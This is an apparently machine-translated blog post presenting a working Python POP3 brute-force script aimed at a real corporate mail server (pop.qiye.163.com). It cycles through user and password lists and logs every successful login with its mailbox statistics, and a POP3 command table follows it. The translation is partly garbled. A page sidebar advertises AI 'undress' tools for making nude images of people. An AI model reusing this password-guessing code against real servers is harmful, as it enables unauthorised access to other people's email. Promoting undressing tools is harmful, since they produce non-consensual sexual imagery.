


Python crée un script de dynamitage pour les boîtes aux lettres d'entreprise
Selon la tâche confiée par le maître, j'ai écrit un script de dynamitage d'e-mails d'entreprise, suivi de FTP, SSH et d'autres scripts de dynamitage.
Permettez-moi d'abord de parler de l'idée générale :
L'idée générale est d'utiliser le module poplib de python pour interagir avec le serveur pop3 et générer des résultats basés sur les informations pertinentes obtenues. Le protocole POP3 n'est pas compliqué. Il utilise également une méthode de questions-réponses. Vous envoyez une commande au serveur, et le serveur répondra certainement par un message.
1. correct
Sys.argv[] est utilisé pour obtenir les paramètres de ligne de commande. sys.argv[0] représente le chemin du fichier du code lui-même, donc les paramètres commencent à 1
. 2. Lisez ensuite le fichier de mot de passe utilisateur Obtenez des informations
3.pop.getwelcome() est utilisé pour obtenir l'état de réponse du serveur de connexion
4 Vient ensuite la partie code principale du script
server = "pop.qiye.163.com" //设置pop3服务器地址 pop = poplib.POP3(server,110) //连接pop3服务器 pop.user(user) //验证用户名 auth = pop.pass_(passwd) //验证密码 if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK” pring user,passwd
#!/usr/bin/python # -*- coding: UTF-8 -*- ''' @Author:joy_nick @博客:http://byd.dropsec.xyz/ @Email Pop3 Brute Forcer ''' import threading, time, random, sys, poplib from copy import copy if len(sys.argv) !=3: print "\t --------------------------------------------------\n" print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n" sys.exit(1) server = "pop.qiye.163.com" success = [] try: users = open(sys.argv[1], "r").readlines() except(IOError): print "[-] Error: urerlist打开失败!\n" sys.exit(1) try: words = open(sys.argv[2], "r").readlines() except(IOError): print "[-] Error: passlist打开失败!\n" sys.exit(1) try: pop = poplib.POP3(server,110) welcome = pop.getwelcome() print welcome pop.quit() except (poplib.error_proto): welcome = "No Response" pass def mailbruteforce(listuser,listpwd): if len(listuser) < 1 or len(listpwd) < 1 : print "An error occurred: No user or pass list" return 1 for user in listuser: for value in listpwd : user = user.replace("\n","") value = value.replace("\n","") try: print "-"*12 print "[+] User:",user,"Password:",value time.sleep(1) pop = poplib.POP3(server,110) pop.user(user) auth = pop.pass_(value) print auth if auth.split(' ')[0]!= "+OK" : pop.quit() print "unknown error !" continue if pop.stat()[1] is None or pop.stat()[1] < 1 : pop.quit() print "获取信息失败!" continue ret = (user,value,pop.stat()[0],pop.stat()[1]) success.append(ret) pop.quit() break except: #print "An error occurred:", msg pass print "\t --------------------------------------------------\n" print "[+] Server:",server print "[+] Port: 995" print "[+] Users Loaded:",len(users) print "[+] Words Loaded:",len(words) print "[+] Server response:",welcome,"\n" mailbruteforce(users,words) print "\t[+] have weakpass :\t",len(success) if len(success) >=1: for ret in success: print "\n\n[+] Login successful:",ret[0], ret[1] print "\t[+] Mail:",ret[2],"emails" print "\t[+] Size:",ret[3],"bytes\n" print "\n[-] Done"
------------------ -------------- -------------------------- ------------------------ ------
USER user username approuve le nom d'utilisateur si cette commande et la commande pass suivante sont. réussi, cela provoquera une transition d'état
PASS pass_ password approuve le mot de passe de l'utilisateur
APOP apop Name, Digest approuve le Digest est un résumé du message MD5
--------------- ----------------------------------- --------------- ----------------------------------- -
STAT stat Aucun Traite le serveur de requêtes pour renvoyer les statistiques à propos de la boîte aux lettres, comme le nombre total d'e-mails et le nombre total d'octets
UIDL uidl [Msg#] Traite l'identifiant unique de l'e-mail renvoyé, chaque identifiant de la session POP3 sera unique
LISTE liste [Msg#] gère le retour du nombre de messages et la taille de chaque message
RETR retr [Msg#] gère le retour du texte intégral du message identifié par le paramètre
DELE dele [Msg #] Le serveur de traitement marquera le mail identifié par le paramètre comme supprimé, exécuté par la commande quit
RSET rset None Le serveur de traitement réinitialisera tous les mails marqués pour suppression, utilisé pour annuler la commande DELE
TOP top [Msg#] traitement Le serveur renverra le n premières lignes de l'e-mail identifié par le paramètre. n doit être un entier positif
NOOP noop Aucun. Le serveur de traitement renvoie une réponse positive

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

Video Face Swap
Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Solution aux problèmes d'autorisation Lors de la visualisation de la version Python dans Linux Terminal Lorsque vous essayez d'afficher la version Python dans Linux Terminal, entrez Python ...

Comment enseigner les bases de la programmation novice en informatique dans les 10 heures? Si vous n'avez que 10 heures pour enseigner à l'informatique novice des connaissances en programmation, que choisissez-vous d'enseigner ...

Comment éviter d'être détecté lors de l'utilisation de FiddlereVerywhere pour les lectures d'homme dans le milieu lorsque vous utilisez FiddlereVerywhere ...

Lorsque vous utilisez la bibliothèque Pandas de Python, comment copier des colonnes entières entre deux frames de données avec différentes structures est un problème courant. Supposons que nous ayons deux dats ...

Comment Uvicorn écoute-t-il en permanence les demandes HTTP? Uvicorn est un serveur Web léger basé sur ASGI. L'une de ses fonctions principales est d'écouter les demandes HTTP et de procéder ...

Dans Python, comment créer dynamiquement un objet via une chaîne et appeler ses méthodes? Il s'agit d'une exigence de programmation courante, surtout si elle doit être configurée ou exécutée ...

Utilisation de Python dans Linux Terminal ...

Comprendre la stratégie anti-rampe d'investissement.com, Beaucoup de gens essaient souvent de ramper les données d'actualités sur Investing.com (https://cn.investing.com/news/latest-news) ...
